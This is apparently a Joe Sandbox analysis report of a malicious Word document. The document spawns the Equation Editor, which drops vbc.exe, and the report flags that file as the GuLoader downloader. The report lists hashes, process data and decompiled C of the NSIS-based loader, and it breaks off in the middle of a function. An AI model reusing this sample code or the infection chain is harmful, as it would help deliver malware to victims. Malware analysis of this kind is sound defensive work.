Jan 27, 2022 10:45:44.375817060 CET	15	IN	Data Raw: 29 66 33 e8 23 eb 66 85 ed 74 06 85 f6 75 ec eb 19 8b 51 02 89 15 e0 3e 43 00 8b 51 06 89 15 a8 4f 43 00 8d 51 0a 85 d2 75 12 66 81 fb ff ff 75 07 bb ff 03 00 00 eb a3 33 db eb 9f 89 15 dc 3e 43 00 0f b7 01 50 57 e8 3d 25 00 00 e8 2f 00 00 00 a1 Data Ascii: )f3#ftuQ>CQOCQufu3>CPW=%/,OC5(OCttPFP&Ou_^][V?CjV%V5HBD@^SUVt$$;WaU\|$$3GujUUUUW5HB@\$,uBH

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: WINWORD.EXEPID: 2688, Parent PID: 596

General

Target ID:	0
Start time:	10:45:18
Start date:	27/01/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f450000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

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Chronological Activities

Analysis Process: EQNEDT32.EXEPID: 2976, Parent PID: 596

General

Target ID:	2
Start time:	10:45:20
Start date:	27/01/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

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Chronological Activities

Analysis Process: vbc.exePID: 984, Parent PID: 2976

General

Target ID:	4
Start time:	10:45:22
Start date:	27/01/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	96040 bytes
MD5 hash:	6EA8ECF670ED24734A3BE72B69BC5FD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

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Chronological Activities

Disassembly

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Analysis Process: vbc.exePID: 984, Parent PID: 2976COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	23.8%
Total number of Nodes:	1014
Total number of Limit Nodes:	30

Executed Functions

Function 0040352D Relevance: 79.2, APIs: 33, Strings: 12, Instructions: 450
stringfilecomCOMMON

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Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t120;
				intOrPtr* _t124;
				void* _t138;
				void* _t144;
				void* _t149;
				void* _t153;
				void* _t158;
				signed int _t168;
				void* _t171;
				void* _t176;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr* _t180;
				int _t189;
				void* _t190;
				void* _t199;
				signed int _t205;
				signed int _t210;
				signed int _t215;
				int* _t219;
				signed int _t227;
				signed int _t230;
				CHAR* _t232;
				signed int _t234;
				WCHAR* _t235;

				0x440000 = 0x20;
				_t189 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x434fb8 = _v324.dwBuildNumber;
				 *0x434fbc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x434fbe != 0x600) {
					_t180 = E0040690A(_t189);
					if(_t180 != _t189) {
						 *_t180(0xc00);
					}
				}
				_t232 = "UXTHEME";
				do {
					E0040689A(_t232); // executed
					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
				} while ( *_t232 != 0);
				E0040690A(0xb);
				 *0x434f04 = E0040690A(9);
				_t88 = E0040690A(7);
				if(_t88 != _t189) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x434fbc =  *0x434fbc | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t189); // executed
				 *0x434fc0 = _t88;
				SHGetFileInfoW(0x42b228, _t189,  &_v1016, 0x2b4, _t189); // executed
				E0040653D(0x433f00, L"NSIS Error");
				E0040653D(0x440000, GetCommandLineW());
				_t94 = 0x440000;
				_t234 = 0x22;
				 *0x434f00 = 0x400000;
				if( *0x440000 == _t234) {
					_t94 = 0x440002;
				}
				_t199 = CharNextW(E00405E39(_t94, 0x440000));
				_v16 = _t199;
				while(1) {
					_t97 =  *_t199;
					_t252 = _t97 - _t189;
					if(_t97 == _t189) {
						break;
					}
					_t210 = 0x20;
					__eflags = _t97 - _t210;
					if(_t97 != _t210) {
						L17:
						__eflags =  *_t199 - _t234;
						_v12 = _t210;
						if( *_t199 == _t234) {
							_v12 = _t234;
							_t199 = _t199 + 2;
							__eflags = _t199;
						}
						__eflags =  *_t199 - 0x2f;
						if( *_t199 != 0x2f) {
							L32:
							_t199 = E00405E39(_t199, _v12);
							__eflags =  *_t199 - _t234;
							if(__eflags == 0) {
								_t199 = _t199 + 2;
								__eflags = _t199;
							}
							continue;
						} else {
							_t199 = _t199 + 2;
							__eflags =  *_t199 - 0x53;
							if( *_t199 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t215 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t227 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t215;
								__eflags =  *_t199 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215);
								if( *_t199 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t210 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t230 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t210;
									__eflags =  *(_t199 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210);
									if( *(_t199 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210)) {
										L31:
										_t234 = 0x22;
										goto L32;
									}
									__eflags =  *_t199 - _t230;
									if( *_t199 == _t230) {
										 *(_t199 - 4) = _t189;
										__eflags = _t199;
										E0040653D(0x440800, _t199);
										L37:
										_t235 = L"C:\\Users\\Albus\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t235);
										_t116 = E004034FC(_t199, _t252);
										_t253 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E0040307D(_t255, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t189) {
												L68:
												E00403B12();
												__imp__OleUninitialize();
												if(_v8 == _t189) {
													if( *0x434f94 == _t189) {
														L77:
														_t120 =  *0x434fac;
														if(_t120 != 0xffffffff) {
															_v24 = _t120;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
													}
													_t124 = E0040690A(4);
													if(_t124 == _t189) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t189);
														_push(_t189);
														_push(_t189);
														if( *_t124() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405B9D(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x434f1c == _t189) {
												L51:
												 *0x434fac =  *0x434fac | 0xffffffff;
												_v24 = E00403BEC(_t265);
												goto L68;
											}
											_t219 = E00405E39(0x440000, _t189);
											if(_t219 < 0x440000) {
												L48:
												_t264 = _t219 - 0x440000;
												_v8 = L"Error launching installer";
												if(_t219 < 0x440000) {
													_t190 = E00405B08(__eflags);
													lstrcatW(_t235, L"~nsu");
													__eflags = _t190;
													if(_t190 != 0) {
														lstrcatW(_t235, "A");
													}
													lstrcatW(_t235, L".tmp");
													_t138 = lstrcmpiW(_t235, 0x441800);
													__eflags = _t138;
													if(_t138 == 0) {
														L67:
														_t189 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t190;
														_push(_t235);
														if(_t190 == 0) {
															E00405AEB();
														} else {
															E00405A6E();
														}
														SetCurrentDirectoryW(_t235);
														__eflags =  *0x440800;
														if( *0x440800 == 0) {
															E0040653D(0x440800, 0x441800);
														}
														E0040653D(0x436000, _v16);
														_t202 = "A" & 0x0000ffff;
														_t144 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t144;
														_v12 = 0x1a;
														 *0x436800 = _t144;
														do {
															E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x120)));
															DeleteFileW(0x42aa28);
															__eflags = _v8;
															if(_v8 != 0) {
																_t149 = CopyFileW(0x443800, 0x42aa28, 1);
																__eflags = _t149;
																if(_t149 != 0) {
																	E004062FD(_t202, 0x42aa28, 0);
																	E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x124)));
																	_t153 = E00405B20(0x42aa28);
																	__eflags = _t153;
																	if(_t153 != 0) {
																		CloseHandle(_t153);
																		_v8 = 0;
																	}
																}
															}
															 *0x436800 =  *0x436800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E004062FD(_t202, _t235, 0);
														goto L67;
													}
												}
												 *_t219 = _t189;
												_t222 =  &(_t219[2]);
												_t158 = E00405F14(_t264,  &(_t219[2]));
												_t265 = _t158;
												if(_t158 == 0) {
													goto L68;
												}
												E0040653D(0x440800, _t222);
												E0040653D(0x441000, _t222);
												_v8 = _t189;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t205 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t168 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
											while( *_t219 != _t205 || _t219[1] != _t168) {
												_t219 = _t219;
												if(_t219 >= 0x440000) {
													continue;
												}
												break;
											}
											_t189 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t235, 0x3fb);
										lstrcatW(_t235, L"\\Temp");
										_t171 = E004034FC(_t199, _t253);
										_t254 = _t171;
										if(_t171 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t235);
										lstrcatW(_t235, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t235);
										SetEnvironmentVariableW(L"TMP", _t235);
										_t176 = E004034FC(_t199, _t254);
										_t255 = _t176;
										if(_t176 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
									goto L29;
								}
								_t178 =  *((intOrPtr*)(_t199 + 8));
								__eflags = _t178 - 0x20;
								if(_t178 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t178 - _t189;
								if(_t178 != _t189) {
									goto L29;
								}
								goto L28;
							}
							_t179 =  *((intOrPtr*)(_t199 + 2));
							__eflags = _t179 - _t210;
							if(_t179 == _t210) {
								L23:
								 *0x434fa0 = 1;
								goto L24;
							}
							__eflags = _t179 - _t189;
							if(_t179 != _t189) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t199 = _t199 + 2;
						__eflags =  *_t199 - _t210;
					} while ( *_t199 == _t210);
					goto L17;
				}
				goto L37;
			}

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0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403550
GetVersionExW.KERNEL32(?), ref: 00403579
GetVersionExW.KERNEL32(0000011C), ref: 00403590
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403627
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403663
OleInitialize.OLE32(00000000), ref: 0040366A
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403688
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 0040369D
CharNextW.USER32(00000000), ref: 004036D6
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403809
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040381A
lstrcatW.KERNEL32 ref: 00403826
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 0040383A
lstrcatW.KERNEL32 ref: 00403842
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403853
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040385B
DeleteFileW.KERNELBASE(1033), ref: 0040386F
lstrcatW.KERNEL32 ref: 00403956
lstrcatW.KERNEL32 ref: 00403965

Part of subcall function 00405AEB: CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1

lstrcatW.KERNEL32 ref: 00403970
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00441800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00440000,00000000,?), ref: 0040397C
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040399C
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,?), ref: 004039FB
CopyFileW.KERNEL32(00443800,0042AA28,00000001), ref: 00403A0E
CloseHandle.KERNEL32(00000000), ref: 00403A3B
OleUninitialize.OLE32 ref: 00403A5E
ExitProcess.KERNEL32 ref: 00403A78
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA7
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403AC6
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AEB
ExitProcess.KERNEL32 ref: 00403B0C

Strings

~nsu, xrefs: 0040394E
NSIS Error, xrefs: 0040368E
TMP, xrefs: 00403856
C:\Users\user\AppData\Local\Temp\, xrefs: 004037FE, 00403803, 00403819, 00403825, 00403834, 00403841, 0040384D, 00403855, 00403953, 00403964, 0040396F, 0040397B, 0040398C, 0040399B, 00403A51
Error launching installer, xrefs: 004038FF
TEMP, xrefs: 0040384E
1033, xrefs: 0040386A
SeShutdownPrivilege, xrefs: 00403AA1
UXTHEME, xrefs: 0040361B, 00403620, 00403626
.tmp, xrefs: 0040396A
Low, xrefs: 0040383C
\Temp, xrefs: 00403820

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3859024572-2607992671
Opcode ID: e6a8171330b23895de066e2957319bca12562bbdb6a9eb3577c816747d85f5c1
Instruction ID: 4d4dc0a58e4858e72561def8a0259f0227da8af974c10a5ea2b310ef4b80d7a5
Opcode Fuzzy Hash: e6a8171330b23895de066e2957319bca12562bbdb6a9eb3577c816747d85f5c1
Instruction Fuzzy Hash: 66E10670A00214AADB10AFB59D45BAF3AB8EF4470AF14847FF545B22D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004056DE Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004056DE(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x433ee4;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E00405672, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E0040657A(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x42d268;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x433ecc == _t156) {
							ShowWindow( *0x434f08, 8);
							if( *0x434f8c == _t156) {
								_t119 =  *0x42c240; // 0x900bec
								_t57 = _t119 + 0x34; // 0xffffffd6
								E0040559F( *_t57, _t156);
							}
							E00404472(_t171);
							goto L25;
						}
						 *0x42ba38 = 2;
						E00404472(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00404500(_a8, _a12, _a16);
						}
						ShowWindow( *0x433ed0, _t156);
						ShowWindow(_t169, 8);
						E004044CE(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x434f10;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x433ed0 = GetDlgItem(_a4, 0x403);
				 *0x433ec8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x433ee4 = _t134;
				_v8 = _t134;
				E004044CE( *0x433ed0);
				 *0x433ed4 = E00404E27(4);
				 *0x433eec = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404499(_a4);
				if(( *0x434f18 & 0x00000003) != 0) {
					ShowWindow( *0x433ed0, _t156);
					if(( *0x434f18 & 0x00000002) != 0) {
						 *0x433ed0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004044CE( *0x433ec8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x434f18 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004056e6
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0x00405881
0x00405881
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 0040573C
GetDlgItem.USER32(?,000003EE), ref: 0040574B
GetClientRect.USER32 ref: 00405788
GetSystemMetrics.USER32 ref: 0040578F
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B0
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C1
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D4
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E2
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057F5
ShowWindow.USER32(00000000,?), ref: 00405817
ShowWindow.USER32(?,00000008), ref: 0040582B
GetDlgItem.USER32(?,000003EC), ref: 0040584C
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040585C
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405875
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405881
GetDlgItem.USER32(?,000003F8), ref: 0040575A

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

GetDlgItem.USER32(?,000003EC), ref: 0040589E
CreateThread.KERNELBASE(00000000,00000000,Function_00005672,00000000), ref: 004058AC
CloseHandle.KERNELBASE(00000000), ref: 004058B3
ShowWindow.USER32(00000000), ref: 004058D7
ShowWindow.USER32(?,00000008), ref: 004058DC
ShowWindow.USER32(00000008), ref: 00405926
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595A
CreatePopupMenu.USER32 ref: 0040596B
AppendMenuW.USER32 ref: 0040597F
GetWindowRect.USER32 ref: 0040599F
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059B8
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F0
OpenClipboard.USER32(00000000), ref: 00405A00
EmptyClipboard.USER32 ref: 00405A06
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A12
GlobalLock.KERNEL32 ref: 00405A1C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A30
GlobalUnlock.KERNEL32(00000000), ref: 00405A50
SetClipboardData.USER32 ref: 00405A5B
CloseClipboard.USER32 ref: 00405A61

Strings

{, xrefs: 00405944

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: efbbf4d88f7660e4c87201c03f03245d3270aa31951a4a241d93bb0c475bbbe6
Instruction ID: 6b97441d6f4cfe62a880681573964a63c423f2dd70b2063085686802d9cc5617
Opcode Fuzzy Hash: efbbf4d88f7660e4c87201c03f03245d3270aa31951a4a241d93bb0c475bbbe6
Instruction Fuzzy Hash: C8B169B1900608FFDB119FA0DD85AAE7B79FB44355F00803AFA41BA1A0C7755E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 73281BFF Relevance: 20.1, APIs: 13, Instructions: 597
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E73281BFF() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				WCHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				WCHAR* _t208;
				signed int _t211;
				void* _t213;
				void* _t215;
				WCHAR* _t217;
				void* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t227;
				struct HINSTANCE__* _t229;
				signed short _t231;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t236;
				void* _t237;
				intOrPtr* _t238;
				void* _t249;
				signed char _t250;
				signed int _t251;
				void* _t255;
				struct HINSTANCE__* _t257;
				void* _t258;
				signed int _t260;
				signed int _t261;
				signed short* _t264;
				signed int _t269;
				signed int _t272;
				signed int _t274;
				void* _t277;
				void* _t281;
				struct HINSTANCE__* _t283;
				signed int _t286;
				void _t287;
				signed int _t288;
				signed int _t300;
				signed int _t301;
				signed short _t304;
				void* _t305;
				signed int _t309;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed short* _t321;
				WCHAR* _t322;
				WCHAR* _t324;
				WCHAR* _t325;
				struct HINSTANCE__* _t326;
				void* _t328;
				signed int _t331;
				void* _t332;

				_t283 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t332 = 0;
				_v52 = 0;
				_v44 = 0;
				_t208 = E732812BB();
				_v24 = _t208;
				_v28 = _t208;
				_v48 = E732812BB();
				_t321 = E732812E3();
				_v56 = _t321;
				_v12 = _t321;
				while(1) {
					_t211 = _v32;
					_v60 = _t211;
					if(_t211 != _t283 && _t332 == _t283) {
						break;
					}
					_t286 =  *_t321 & 0x0000ffff;
					_t213 = _t286 - _t283;
					if(_t213 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t215 = _v60 - _t283;
						if(_t215 == 0) {
							__eflags = _t332 - _t283;
							 *_v28 = _t283;
							if(_t332 == _t283) {
								_t255 = GlobalAlloc(0x40, 0x1ca4); // executed
								_t332 = _t255;
